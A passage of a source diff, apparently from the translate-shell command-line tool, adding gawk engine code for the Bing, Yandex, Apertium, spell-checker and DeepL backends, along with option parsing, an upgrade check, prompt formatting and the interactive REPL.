+l(sprintf("%4s bytes > %s", length($0), length($0) < 1024 ? $0 : "...")) +} +close(HttpService) +if ((status == "301" || status == "302") && location) +content = curl(location) +Cookie = cookie +match(content, /IG:"([^"]+)"/, group) +if (group[1]) { +IG = group[1] +} else { +e("[ERROR] Oops! Something went wrong and I can't translate it for you :(") +exit 1 +} +} +function bingTTSUrl(text, tl, +country, gender, i, group, +header, content, isBody) { +gender = "female" +country = NULLSTR +split(Option["narrator"], group, ",") +for (i in group) { +if (group[i] ~ /^(f(emale)?|w(oman)?)$/) +gender = "female" +else if (group[i] ~ /^m(ale|an)?$/) +gender = "male" +else +country = group[i] +} +if (country) tl = tl "-" country +else if (tl == "ar") tl = tl "-EG" +else if (tl == "da") tl = tl "-DK" +else if (tl == "de") tl = tl "-DE" +else if (tl == "en") tl = tl "-US" +else if (tl == "es") tl = tl "-ES" +else if (tl == "fi") tl = tl "-FI" +else if (tl == "fr") tl = tl "-FR" +else if (tl == "it") tl = tl "-IT" +else if (tl == "ja") tl = tl "-JP" +else if (tl == "ko") tl = tl "-KR" +else if (tl == "nl") tl = tl "-NL" +else if (tl == "nb") tl = tl "-NO" +else if (tl == "pl") tl = tl "-PL" +else if (tl == "pt") tl = tl "-PT" +else if (tl == "ru") tl = tl "-RU" +else if (tl == "sv") tl = tl "-SE" +else if (tl == "yue") ; +else if (tl == "zh") tl = tl "-CN" +header = "GET " "/translator/api/language/Speak?"\ +"locale=" tl "&text=" preprocess(text)\ +"&gender=" gender "&media=audio/mp3" " HTTP/1.1\r\n"\ +"Host: " HttpHost "\r\n"\ +"Connection: close\r\n" +if (Option["user-agent"]) +header = header "User-Agent: " Option["user-agent"] "\r\n" +if (Cookie) +header = header "Cookie: " Cookie "\r\n" +content = NULLSTR; isBody = 0 +print header |& HttpService +while ((HttpService |& getline) > 0) { +if (isBody) +content = content ? content "\r\n" $0 : $0 +else if (length($0) <= 1) +isBody = 1 +} +close(HttpService) +if (!TempFile) +TempFile = getOutput("mktemp") +printf("%s", content) > TempFile +close(TempFile) +return TempFile +} +function bingWebTranslateUrl(uri, sl, tl, hl) { +return "http://www.microsofttranslator.com/bv.aspx?"\ +"from=" sl "&to=" tl "&a=" uri +} +function bingRequestUrl(text, sl, tl, hl) { +return HttpPathPrefix "/translator/api/Dictionary/Lookup?"\ +"from=" sl "&to=" tl "&text=" preprocess(text) +} +function bingPostRequestUrl(text, sl, tl, hl, type) { +if (type == "translate") +return HttpPathPrefix "/ttranslate?&IG=" IG "&IID=translator.5032.2" +else if (type == "translationlookup") +return HttpPathPrefix "/ttranslationlookup?&IG=" IG "&IID=translator.5032.2" +else if (type == "transliterate") +return HttpPathPrefix "/ttransliterate?&IG=" IG "&IID=translator.5032.1" +else # type == "detect" +return HttpPathPrefix "/tdetect?&IG=" IG "&IID=translator.5032.2" +} +function bingPostRequestContentType(text, sl, tl, hl, type) { +return "application/x-www-form-urlencoded" +} +function bingPostRequestBody(text, sl, tl, hl, type) { +if (type == "translate") +return "&text=" quote(text) "&from=" sl "&to=" tl +else if (type == "translationlookup") +return "&text=" quote(text) "&from=" sl "&to=" tl +else if (type == "transliterate") +return "&text=" quote(text) "&language=" sl "&toScript=" "latn" +else # type == "detect" +return "&text=" quote(text) +} +function bingTranslate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl, +r, +content, tokens, ast, +_sl, _tl, _hl, il, isPhonetic, +translation, +wShowOriginal, wShowTranslation, wShowLanguages, +group, temp) { +isPhonetic = match(tl, /^@/) +tl = substr(tl, 1 + isPhonetic) +if (!getCode(tl)) { +w("[WARNING] Unknown target language code: " tl) +} else if (isRTL(tl)) { +if (!FriBidi) +w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.") +} +_sl = getCode(sl); if (!_sl) _sl = sl +_tl = getCode(tl); if (!_tl) _tl = tl +_hl = getCode(hl); if (!_hl) _hl = hl +bingSetIG() +il = postResponse(text, _sl, _tl, _hl, "detect") +if (!il) { +e("[ERROR] Oops! Something went wrong and I can't translate it for you :(") +ExitCode = 1 +return +} +returnIl[0] = il +if (Option["verbose"] < -1) +return il +if (Option["verbose"] < 0) +return getList(il) +if (_sl == "auto") _sl = il +if (_sl == "bs") _sl = "bs-Latn" +if (_sl == "zh-CN") _sl = "zh-CHS" +if (_sl == "zh-TW") _sl = "zh-CHT" +if (_tl == "bs") _tl = "bs-Latn" +if (_tl == "zh-CN") _tl = "zh-CHS" +if (_tl == "zh-TW") _tl = "zh-CHT" +content = postResponse(text, _sl, _tl, _hl, "translate") +if (Option["dump"]) +return content +tokenize(tokens, content) +parseJson(ast, tokens) +l(content, "content", 1, 1) +l(tokens, "tokens", 1, 0, 1) +l(ast, "ast") +if (!isarray(ast) || !anything(ast)) { +e("[ERROR] Oops! Something went wrong and I can't translate it for you :(") +ExitCode = 1 +return +} else if (ast[0 SUBSEP "statusCode"] != "200") { +e("[ERROR] statusCode: " ast[0 SUBSEP "statusCode"]) +ExitCode = 1 +return +} +translation = unparameterize(ast[0 SUBSEP "translationResponse"]) +wShowTranslationPhonetics = Option["show-translation-phonetics"] +if (wShowTranslationPhonetics) { +split(_tl, group, "-") +content = postResponse(translation, group[1], group[1], _hl, "transliterate") +phonetics = unparameterize(content) +if (phonetics == translation) phonetics = "" +} +if (!isVerbose) { +r = isPhonetic && phonetics ? +prettify("brief-translation-phonetics", join(phonetics, " ")) : +prettify("brief-translation", s(translation, tl)) +} else { +wShowOriginal = Option["show-original"] +wShowTranslation = Option["show-translation"] +wShowLanguages = Option["show-languages"] +wShowDictionary = Option["show-dictionary"] +wShowOriginalPhonetics = Option["show-original-phonetics"] +if (wShowOriginalPhonetics) { +split(il, group, "-") +content = postResponse(text, group[1], group[1], _hl, "transliterate") +oPhonetics = unparameterize(content) +if (oPhonetics == text) oPhonetics = "" +} +if (!oPhonetics) wShowOriginalPhonetics = 0 +if (!phonetics) wShowTranslationPhonetics = 0 +if (wShowOriginal) { +if (r) r = r RS RS +r = r m("-- display original text") +r = r prettify("original", s(text, il)) +if (wShowOriginalPhonetics) +r = r RS prettify("original-phonetics", showPhonetics(join(oPhonetics, " "), il)) +} +if (wShowTranslation) { +if (r) r = r RS RS +r = r m("-- display major translation") +r = r prettify("translation", s(translation, tl)) +if (wShowTranslationPhonetics) +r = r RS prettify("translation-phonetics", showPhonetics(join(phonetics, " "), tl)) +} +if (wShowLanguages) { +if (r) r = r RS RS +r = r m("-- display source language -> target language") +temp = Option["fmt-languages"] +if (!temp) temp = "[ %s -> %t ]" +split(temp, group, /(%s|%S|%t|%T)/) +r = r prettify("languages", group[1]) +if (temp ~ /%s/) +r = r prettify("languages-sl", getDisplay(il)) +if (temp ~ /%S/) +r = r prettify("languages-sl", getName(il)) +r = r prettify("languages", group[2]) +if (temp ~ /%t/) +r = r prettify("languages-tl", getDisplay(tl)) +if (temp ~ /%T/) +r = r prettify("languages-tl", getName(tl)) +r = r prettify("languages", group[3]) +} +if (wShowDictionary && false) { +dicContent = getResponse(text, il, _tl, _hl) +tokenize(dicTokens, dicContent) +parseJson(dicAst, dicTokens) +if (anything(dicAst)) { +if (r) r = r RS +r = r m("-- display dictionary entries") +} +} +} +if (toSpeech) { +returnPlaylist[0]["text"] = translation +returnPlaylist[0]["tl"] = tl +} +return r +} +BEGIN { provides("yandex") } +function genSID( content, group, temp) { +content = curl("http://translate.yandex.com") +match(content, /SID:[[:space:]]*'([^']+)'/, group) +if (group[1]) { +split(group[1], temp, ".") +SID = reverse(temp[1]) "." reverse(temp[2]) "." reverse(temp[3]) +} else { +e("[ERROR] Oops! Something went wrong and I can't translate it for you :(") +exit 1 +} +} +function yandexInit() { +genSID() +YandexWebTranslate = "z5h64q92x9.net" +HttpProtocol = "http://" +HttpHost = "translate.yandex.net" +HttpPort = 80 +} +function yandexRequestUrl(text, sl, tl, hl, group) { +split(sl, group, "-"); sl = group[1] +split(tl, group, "-"); tl = group[1] +return HttpPathPrefix "/api/v1/tr.json/translate?"\ +"id=" SID "-0-0&srv=tr-text"\ +"&text=" preprocess(text) "&lang=" (sl == "auto" ? tl : sl "-" tl) +} +function yandexPostRequestBody(text, sl, tl, hl, type) { +return "text=" quote(text) "&lang=" sl +} +function yandexGetDictionaryResponse(text, sl, tl, hl, content, header, isBody, url) { +split(sl, group, "-"); sl = group[1] +split(tl, group, "-"); tl = group[1] +url = "http://dictionary.yandex.net/dicservice.json/lookupMultiple?"\ +"&text=" preprocess(text) "&dict=" sl "-" tl +content = curl(url) +return assert(content, "[ERROR] Null response.") +} +function yandexTTSUrl(text, tl, +speaker, emotion, i, group) { +speaker = NULLSTR +emotion = NULLSTR +split(Option["narrator"], group, ",") +for (i in group) { +if (group[i] ~ /^(g(ood)?|n(eutral)?|e(vil)?)$/) +emotion = group[i] +else if (group[i] ~ /^(f(emale)?|w(oman)?)$/) +speaker = "alyss" +else if (group[i] ~ /^m(ale|an)?$/) +speaker = "zahar" +else +speaker = group[i] +} +switch (tl) { +case "ar": tl = "ar_AE"; break +case "cs": tl = "cs_CZ"; break +case "da": tl = "da_DK"; break +case "de": tl = "de_DE"; break +case "el": tl = "el_GR"; break +case "en": tl = "en_GB"; break +case "es": tl = "es_ES"; break +case "fi": tl = "fi_FI"; break +case "fr": tl = "fr_FR"; break +case "it": tl = "it_IT"; break +case "nl": tl = "nl_NL"; break +case "no": tl = "no_NO"; break +case "pl": tl = "pl_PL"; break +case "pt": tl = "pt_PT"; break +case "ru": tl = "ru_RU"; break +case "sv": tl = "sv_SE"; break +case "tr": tl = "tr_TR"; break +default: tl = NULLSTR +} +return HttpProtocol "tts.voicetech.yandex.net" "/tts?"\ +"text=" preprocess(text) (tl ? "&lang=" tl : tl)\ +(speaker ? "&speaker=" speaker : speaker)\ +(emotion ? "&emotion=" emotion : emotion)\ +"&format=mp3" "&quality=hi" +} +function yandexWebTranslateUrl(uri, sl, tl, hl) { +gsub(/:\/\//, "/", uri) +return HttpProtocol YandexWebTranslate "/proxy_u/"\ +(sl == "auto" ? tl : sl "-" tl)"/" uri +} +function yandexTranslate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl, +r, +content, tokens, ast, +_sl, _tl, _hl, il, isPhonetic, +translation, +wShowOriginal, wShowTranslation, wShowLanguages, +wShowDictionary, dicContent, dicTokens, dicAst, +i, syn, mean, +group, temp) { +isPhonetic = match(tl, /^@/) +tl = substr(tl, 1 + isPhonetic) +if (!getCode(tl)) { +w("[WARNING] Unknown target language code: " tl) +} else if (isRTL(tl)) { +if (!FriBidi) +w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.") +} +_sl = getCode(sl); if (!_sl) _sl = sl +_tl = getCode(tl); if (!_tl) _tl = tl +_hl = getCode(hl); if (!_hl) _hl = hl +content = getResponse(text, _sl, _tl, _hl) +if (Option["dump"]) +return content +tokenize(tokens, content) +parseJson(ast, tokens) +l(content, "content", 1, 1) +l(tokens, "tokens", 1, 0, 1) +l(ast, "ast") +if (!isarray(ast) || !anything(ast)) { +e("[ERROR] Oops! Something went wrong and I can't translate it for you :(") +ExitCode = 1 +return +} +if (ast[0 SUBSEP "code"] != "200") { +e("[ERROR] " unparameterize(ast[0 SUBSEP "message"])) +ExitCode = 1 +return +} +translation = unparameterize(ast[0 SUBSEP "text" SUBSEP 0]) +wShowTranslationPhonetics = Option["show-translation-phonetics"] +if (wShowTranslationPhonetics) { +split(_tl, group, "-") +data = yandexPostRequestBody(translation, group[1], group[1], _hl, "translit") +content = curlPost("https://translate.yandex.net/translit/translit", data) +phonetics = (content ~ /not supported$/) ? "" : unparameterize(content) +} +split(unparameterize(ast[0 SUBSEP "lang"]), group, "-") +returnIl[0] = il = group[1] +if (Option["verbose"] < -1) +return il +else if (Option["verbose"] < 0) +return getList(il) +if (!isVerbose) { +r = isPhonetic && phonetics ? +prettify("brief-translation-phonetics", join(phonetics, " ")) : +prettify("brief-translation", s(translation, tl)) +} else { +wShowOriginal = Option["show-original"] +wShowTranslation = Option["show-translation"] +wShowLanguages = Option["show-languages"] +wShowDictionary = Option["show-dictionary"] +wShowOriginalPhonetics = Option["show-original-phonetics"] +if (wShowTranslationPhonetics) { +split(il, group, "-") +data = yandexPostRequestBody(text, group[1], group[1], _hl, "translit") +content = curlPost("https://translate.yandex.net/translit/translit", data) +oPhonetics = (content ~ /not supported$/) ? "" : unparameterize(content) +} +if (!oPhonetics) wShowOriginalPhonetics = 0 +if (!phonetics) wShowTranslationPhonetics = 0 +if (wShowOriginal) { +if (r) r = r RS RS +r = r m("-- display original text & phonetics") +r = r prettify("original", s(text, il)) +if (wShowOriginalPhonetics) +r = r RS prettify("original-phonetics", showPhonetics(join(oPhonetics, " "), il)) +} +if (wShowTranslation) { +if (r) r = r RS RS +r = r m("-- display major translation") +r = r prettify("translation", s(translation, tl)) +if (wShowTranslationPhonetics) +r = r RS prettify("translation-phonetics", showPhonetics(join(phonetics, " "), tl)) +} +if (wShowLanguages) { +if (r) r = r RS RS +r = r m("-- display source language -> target language") +temp = Option["fmt-languages"] +if (!temp) temp = "[ %s -> %t ]" +split(temp, group, /(%s|%S|%t|%T)/) +r = r prettify("languages", group[1]) +if (temp ~ /%s/) +r = r prettify("languages-sl", getDisplay(il)) +if (temp ~ /%S/) +r = r prettify("languages-sl", getName(il)) +r = r prettify("languages", group[2]) +if (temp ~ /%t/) +r = r prettify("languages-tl", getDisplay(tl)) +if (temp ~ /%T/) +r = r prettify("languages-tl", getName(tl)) +r = r prettify("languages", group[3]) +} +if (wShowDictionary && false) { +dicContent = yandexGetDictionaryResponse(text, il, _tl, _hl) +tokenize(dicTokens, dicContent) +parseJson(dicAst, dicTokens) +if (anything(dicAst)) { +if (r) r = r RS +r = r m("-- display dictionary entries") +saveSortedIn = PROCINFO["sorted_in"] +PROCINFO["sorted_in"] = "@ind_num_asc" +for (i in dicAst) { +if (i ~ "^0" SUBSEP "def" SUBSEP "[[:digit:]]+" SUBSEP\ +"pos$") { +r = r RS prettify("dictionary-word-class", s((literal(dicAst[i])), hl)) +syn = mean = "" +} +if (i ~ "^0" SUBSEP "def" SUBSEP "[[:digit:]]+" SUBSEP\ +"tr" SUBSEP "[[:digit:]]+" SUBSEP\ +"mean" SUBSEP "[[:digit:]]+" SUBSEP "text") { +if (mean) { +mean = mean prettify("dictionary-explanation", ", ")\ +prettify("dictionary-explanation-item", s((literal(dicAst[i])), sl)) +} else { +mean = prettify("dictionary-explanation-item", s((literal(dicAst[i])), sl)) +} +} +if (i ~ "^0" SUBSEP "def" SUBSEP "[[:digit:]]+" SUBSEP\ +"tr" SUBSEP "[[:digit:]]+" SUBSEP\ +"syn" SUBSEP "[[:digit:]]+" SUBSEP "text") { +if (syn) { +syn = syn prettify("dictionary-explanation", ", ")\ +prettify("dictionary-word", s((literal(dicAst[i])), il)) +} else { +syn = prettify("dictionary-word", s((literal(dicAst[i])), il)) +} +} +if (i ~ "^0" SUBSEP "def" SUBSEP "[[:digit:]]+" SUBSEP\ +"tr" SUBSEP "[[:digit:]]+" SUBSEP "text$") { +text = prettify("dictionary-word", s((literal(dicAst[i])), il)) +if (syn) { +r = r RS ins(1, text prettify("dictionary-explanation", ", ") syn) +} else { +r = r RS ins(1, text) +} +r = r RS ins(2, mean) +syn = mean = "" +} +} +PROCINFO["sorted_in"] = saveSortedIn +} +} +} +if (toSpeech) { +returnPlaylist[0]["text"] = translation +returnPlaylist[0]["tl"] = tl +} +return r +} +BEGIN { provides("apertium") } +function apertiumInit() { +HttpProtocol = "http://" +HttpHost = "www.apertium.org" +HttpPort = 80 +} +function apertiumRequestUrl(text, sl, tl, hl) { +return HttpPathPrefix "/apy/translate?"\ +"langpair=" preprocess(sl) "|" preprocess(tl)\ +"&q=" preprocess(text) +} +function apertiumTTSUrl(text, tl, narrator) { +} +function apertiumWebTranslateUrl(uri, sl, tl, hl) { +} +function apertiumTranslate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl, +r, +content, tokens, ast, +_sl, _tl, _hl, il, +translation, +wShowOriginal, wShowTranslation, wShowLanguages, +group, temp) { +if (!getCode(tl)) { +w("[WARNING] Unknown target language code: " tl) +} else if (isRTL(tl)) { +if (!FriBidi) +w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.") +} +_sl = getCode(sl); if (!_sl) _sl = sl +_tl = getCode(tl); if (!_tl) _tl = tl +_hl = getCode(hl); if (!_hl) _hl = hl +_sl = "auto" == _sl ? "en" : _sl +content = getResponse(text, _sl, _tl, _hl) +if (Option["dump"]) +return content +tokenize(tokens, content) +parseJson(ast, tokens) +l(content, "content", 1, 1) +l(tokens, "tokens", 1, 0, 1) +l(ast, "ast") +if (!isarray(ast) || !anything(ast)) { +e("[ERROR] Oops! Something went wrong and I can't translate it for you :(") +ExitCode = 1 +return +} +translation = uprintf(unquote(unparameterize(ast[0 SUBSEP "responseData" SUBSEP "translatedText"]))) +returnIl[0] = il = _sl +if (Option["verbose"] < -1) +return il +else if (Option["verbose"] < 0) +return getList(il) +if (!isVerbose) { +r = translation +} else { +wShowOriginal = Option["show-original"] +wShowTranslation = Option["show-translation"] +wShowLanguages = Option["show-languages"] +if (wShowOriginal) { +if (r) r = r RS RS +r = r m("-- display original text") +r = r prettify("original", s(text, il)) +} +if (wShowTranslation) { +if (r) r = r RS RS +r = r m("-- display major translation") +r = r prettify("translation", s(translation, tl)) +} +if (wShowLanguages) { +if (r) r = r RS RS +r = r m("-- display source language -> target language") +temp = Option["fmt-languages"] +if (!temp) temp = "[ %s -> %t ]" +split(temp, group, /(%s|%S|%t|%T)/) +r = r prettify("languages", group[1]) +if (temp ~ /%s/) +r = r prettify("languages-sl", getDisplay(il)) +if (temp ~ /%S/) +r = r prettify("languages-sl", getName(il)) +r = r prettify("languages", group[2]) +if (temp ~ /%t/) +r = r prettify("languages-tl", getDisplay(tl)) +if (temp ~ /%T/) +r = r prettify("languages-tl", getName(tl)) +r = r prettify("languages", group[3]) +} +} +if (toSpeech) { +returnPlaylist[0]["text"] = translation +returnPlaylist[0]["tl"] = tl +} +return r +} +BEGIN { +provides("spell") +provides("aspell") +provides("hunspell") +} +function spellInit() { +Ispell = detectProgram("aspell", "--version") ? "aspell" : +(detectProgram("hunspell", "--version") ? "hunspell" : "") +if (!Ispell) { +e("[ERROR] Spell checker (aspell or hunspell) not found.") +exit 1 +} +} +function aspellInit() { +if (!(Ispell = detectProgram("aspell", "--version") ? "aspell" : "")) { +e("[ERROR] Spell checker (aspell) not found.") +exit 1 +} +} +function hunspellInit() { +if (!(Ispell = detectProgram("hunspell", "--version") ? "hunspell" : "")) { +e("[ERROR] Spell checker (hunspell) not found.") +exit 1 +} +} +function spellTranslate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl, +args, i, j, r, line, group, word, sug) { +args = " -a" (sl != "auto" ? " -d " sl : "") +if (system("echo" PIPE Ispell args SUPOUT SUPERR)) { +e("[ERROR] No dictionary for language: " sl) +exit 1 +} +i = 1 +r = "" +while ((("echo " parameterize(text) PIPE Ispell args SUPERR) |& getline line) > 0) { +match(line, +/^& (.*) [[:digit:]]+ [[:digit:]]+: ([^,]+)(, ([^,]+))?(, ([^,]+))?/, +group) +if (RSTART) { +ExitCode = 1 +word = group[1] +sug = "[" group[2] +if (group[4]) sug = sug "|" group[4] +if (group[6]) sug = sug "|" group[6] +sug = sug "]" +j = i + index(substr(text, i), word) - 1 +r = r substr(text, i, j - i) +r = r ansi("bold", ansi("red", word)) ansi("yellow", sug) +i = j + length(word) +} +} +r = r substr(text, i) +return r +} +function aspellTranslate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl) { +return spellTranslate(text, sl, tl, hl) +} +function hunspellTranslate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl) { +return spellTranslate(text, sl, tl, hl) +} +BEGIN { provides("deepl") } +function deeplInit() { +HttpProtocol = "http://" +HttpHost = "www.deepl.com" +HttpPort = 80 +} +function deeplRequestUrl(text, sl, tl, hl) { +} +function deeplTTSUrl(text, tl, narrator) { +} +function deeplWebTranslateUrl(uri, sl, tl, hl) { +} +function deeplPost(text, sl, tl, hl, +content, data, url) { +data = "{\"jsonrpc\":\"2.0\",\"method\":\"LMT_handle_jobs\"," +data = data "\"params\":{\"jobs\":[{\"kind\":\"default\"," +data = data "\"raw_en_sentence\":" parameterize(text, "\"") "}]," +data = data "\"lang\":{\"user_preferred_langs\":[\"" hl "\"]," +data = data "\"source_lang_user_selected\":\"" sl "\"," +data = data "\"target_lang\":\"" tl "\"}," +data = data "\"priority\":1},\"id\":1}" +l(data) +url = "https://www.deepl.com/jsonrpc" +content = curlPost(url, data) +return assert(content, "[ERROR] Null response.") +} +function deeplTranslate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl, +r, +content, tokens, ast, +_sl, _tl, _hl, il, +translation, translations, +wShowOriginal, wShowTranslation, +wShowLanguages, wShowAlternatives, +group, temp) { +if (!getCode(tl)) { +w("[WARNING] Unknown target language code: " tl) +} else if (isRTL(tl)) { +if (!FriBidi) +w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.") +} +_sl = getCode(sl); if (!_sl) _sl = sl +_tl = getCode(tl); if (!_tl) _tl = tl +_hl = getCode(hl); if (!_hl) _hl = hl +if (_sl != "auto") _sl = toupper(_sl) +if (_tl != "auto") _tl = toupper(_tl) +if (_hl != "auto") _hl = toupper(_hl) +content = deeplPost(text, _sl, _tl, _hl) +if (Option["dump"]) +return content +tokenize(tokens, content) +parseJson(ast, tokens) +l(content, "content", 1, 1) +l(tokens, "tokens", 1, 0, 1) +l(ast, "ast") +if (!isarray(ast) || !anything(ast)) { +e("[ERROR] Oops! Something went wrong and I can't translate it for you :(") +ExitCode = 1 +return +} +saveSortedIn = PROCINFO["sorted_in"] +PROCINFO["sorted_in"] = "compareByIndexFields" +for (i in ast) { +if (i ~ "^0" SUBSEP "result" SUBSEP "translations" SUBSEP 0 SUBSEP "beams" SUBSEP "[[:digit:]]+" SUBSEP "postprocessed_sentence$") { +append(translations, uprintf(unquote(unparameterize(ast[i])))) +} +} +PROCINFO["sorted_in"] = saveSortedIn +translation = translations[0] +returnIl[0] = il = tolower(unparameterize(ast[0 SUBSEP "result" SUBSEP "source_lang"])) +if (Option["verbose"] < -1) +return il +else if (Option["verbose"] < 0) +return getList(il) +if (!isVerbose) { +r = translation +} else { +wShowOriginal = Option["show-original"] +wShowTranslation = Option["show-translation"] +wShowLanguages = Option["show-languages"] +wShowAlternatives = Option["show-alternatives"] +if (length(translations) <= 1) wShowAlternatives = 0 +if (wShowOriginal) { +if (r) r = r RS RS +r = r m("-- display original text") +r = r prettify("original", s(text, il)) +} +if (wShowTranslation) { +if (r) r = r RS RS +r = r m("-- display major translation") +r = r prettify("translation", s(translation, tl)) +} +if (wShowLanguages) { +if (r) r = r RS RS +r = r m("-- display source language -> target language") +temp = Option["fmt-languages"] +if (!temp) temp = "[ %s -> %t ]" +split(temp, group, /(%s|%S|%t|%T)/) +r = r prettify("languages", group[1]) +if (temp ~ /%s/) +r = r prettify("languages-sl", getDisplay(il)) +if (temp ~ /%S/) +r = r prettify("languages-sl", getName(il)) +r = r prettify("languages", group[2]) +if (temp ~ /%t/) +r = r prettify("languages-tl", getDisplay(tl)) +if (temp ~ /%T/) +r = r prettify("languages-tl", getName(tl)) +r = r prettify("languages", group[3]) +} +if (wShowAlternatives) { +if (r) r = r RS +r = r m("-- display alternative translations") +r = r RS ins(1, prettify("alternatives-translations-item", translations[1])) +for (i = 2; i < length(translations); i++) +r = r RS ins(1, prettify("alternatives-translations-item", translations[i])) +} +} +if (toSpeech) { +returnPlaylist[0]["text"] = translation +returnPlaylist[0]["tl"] = tl +} +return r +} +function loadOptions(script, i, j, tokens, name, value) { +tokenize(tokens, script) +for (i in tokens) { +if (tokens[i] ~ /^:/) { +name = substr(tokens[i], 2) +value = tokens[i + 1] +if (value ~ /^[+-]?((0|[1-9][0-9]*)|[.][0-9]*|(0|[1-9][0-9]*)[.][0-9]*)([Ee][+-]?[0-9]+)?$/) { +delete Option[name] +Option[name] = value +} else if (value == "false" || value == "true") { +delete Option[name] +Option[name] = yn(value) +} else if (value ~ /^".*"$/) { +delete Option[name] +Option[name] = literal(value) +} else if (value == "[") { +delete Option[name] +for (j = 1; tokens[i + j + 1] && tokens[i + j + 1] != "]"; j++) { +if (tokens[i + j + 1] ~ /^".*"$/) +Option[name][j] = literal(tokens[i + j + 1]) +else { +e("[ERROR] Malformed configuration.") +return +} +} +} else { +e("[ERROR] Malformed configuration.") +return +} +} +} +} +function upgrade( i, newVersion, registry, tokens) { +RegistryIndex = "https://raw.githubusercontent.com/soimort/translate-shell/registry/index.trans" +registry = curl(RegistryIndex) +if (!registry) { +e("[ERROR] Failed to check for upgrade.") +ExitCode = 1 +return +} +tokenize(tokens, registry) +for (i in tokens) +if (tokens[i] == ":translate-shell") +newVersion = literal(tokens[i + 1]) +if (newerVersion(newVersion, Version)) { +w("Current version: \t" Version) +w("New version available: \t" newVersion) +w("Download from: \t" "https://www.soimort.org/translate-shell/trans") +} else { +w("Current version: \t" Version) +w("Already up-to-date.") +} +} +function welcome() { +if (Option["fmt-welcome-message"]) +print prettify("welcome-message", Option["fmt-welcome-message"]) > STDERR +if (Option["fmt-welcome-submessage"]) +print prettify("welcome-submessage", Option["fmt-welcome-submessage"]) > STDERR +} +function prompt( i, p, temp) { +p = Option["fmt-prompt"] +if (p ~ /%a/) gsub(/%a/, strftime("%a"), p) +if (p ~ /%A/) gsub(/%A/, strftime("%A"), p) +if (p ~ /%b/) gsub(/%b/, strftime("%b"), p) +if (p ~ /%B/) gsub(/%B/, strftime("%B"), p) +if (p ~ /%c/) gsub(/%c/, strftime("%c"), p) +if (p ~ /%C/) gsub(/%C/, strftime("%C"), p) +if (p ~ /%d/) gsub(/%d/, strftime("%d"), p) +if (p ~ /%D/) gsub(/%D/, strftime("%D"), p) +if (p ~ /%e/) gsub(/%e/, strftime("%e"), p) +if (p ~ /%F/) gsub(/%F/, strftime("%F"), p) +if (p ~ /%g/) gsub(/%g/, strftime("%g"), p) +if (p ~ /%G/) gsub(/%G/, strftime("%G"), p) +if (p ~ /%h/) gsub(/%h/, strftime("%h"), p) +if (p ~ /%H/) gsub(/%H/, strftime("%H"), p) +if (p ~ /%I/) gsub(/%I/, strftime("%I"), p) +if (p ~ /%j/) gsub(/%j/, strftime("%j"), p) +if (p ~ /%m/) gsub(/%m/, strftime("%m"), p) +if (p ~ /%M/) gsub(/%M/, strftime("%M"), p) +if (p ~ /%n/) gsub(/%n/, strftime("%n"), p) +if (p ~ /%p/) gsub(/%p/, strftime("%p"), p) +if (p ~ /%r/) gsub(/%r/, strftime("%r"), p) +if (p ~ /%R/) gsub(/%R/, strftime("%R"), p) +if (p ~ /%u/) gsub(/%u/, strftime("%u"), p) +if (p ~ /%U/) gsub(/%U/, strftime("%U"), p) +if (p ~ /%V/) gsub(/%V/, strftime("%V"), p) +if (p ~ /%w/) gsub(/%w/, strftime("%w"), p) +if (p ~ /%W/) gsub(/%W/, strftime("%W"), p) +if (p ~ /%x/) gsub(/%x/, strftime("%x"), p) +if (p ~ /%X/) gsub(/%X/, strftime("%X"), p) +if (p ~ /%y/) gsub(/%y/, strftime("%y"), p) +if (p ~ /%Y/) gsub(/%Y/, strftime("%Y"), p) +if (p ~ /%z/) gsub(/%z/, strftime("%z"), p) +if (p ~ /%Z/) gsub(/%Z/, strftime("%Z"), p) +if (p ~ /%_/) +gsub(/%_/, showTranslationsOf(Option["hl"]), p) +if (p ~ /%l/) +gsub(/%l/, getDisplay(Option["hl"]), p) +if (p ~ /%L/) +gsub(/%L/, getName(Option["hl"]), p) +if (p ~ /%S/) +gsub(/%S/, getName(Option["sl"]), p) +if (p ~ /%t/) { +temp = getDisplay(Option["tl"][1]) +for (i = 2; i <= length(Option["tl"]); i++) +temp = temp "+" getDisplay(Option["tl"][i]) +gsub(/%t/, temp, p) +} +if (p ~ /%T/) { +temp = getName(Option["tl"][1]) +for (i = 2; i <= length(Option["tl"]); i++) +temp = temp "+" getName(Option["tl"][i]) +gsub(/%T/, temp, p) +} +if (p ~ /%,/) { +temp = getDisplay(Option["tl"][1]) +for (i = 2; i <= length(Option["tl"]); i++) +temp = temp "," getDisplay(Option["tl"][i]) +gsub(/%,/, temp, p) +} +if (p ~ /% STDERR +} +function repl(line, command, group, name, i, value, words) { +split(line, words, " ") +command = words[1] +if (command ~ /^:(q|quit)$/) { +exit +} else if (command ~ /^:set$/) { +name = words[2] +value = words[3] +Option[name] = value +} else if (command ~ /^:show$/) { +name = words[2] +print prettify("welcome-submessage", toString(Option[name], 1, 0, 1)) +} else if (command ~ /^:engine$/) { +value = words[2] +Option["engine"] = value +initHttpService() +} else { +match(command, /^[{(\[]?([[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?)?(:|=)((@?[[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?\+)*(@?[[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?)?)[})\]]?$/, group) +if (RSTART) { +if (group[1]) Option["sl"] = group[1] +if (group[4]) split(group[4], Option["tl"], "+") +line = words[2] +for (i = 3; i <= length(words); i++) +line = line " " words[i] +} +if (line) { +translate(line) +if (Option["verbose"]) printf RS +} +} +prompt() +} +function init() { +initGawk() +initBiDi() +initLocale() +initUserLang() +RS = "\n" +ExitCode = 0 +Option["debug"] = 0 +Option["engine"] = "google" 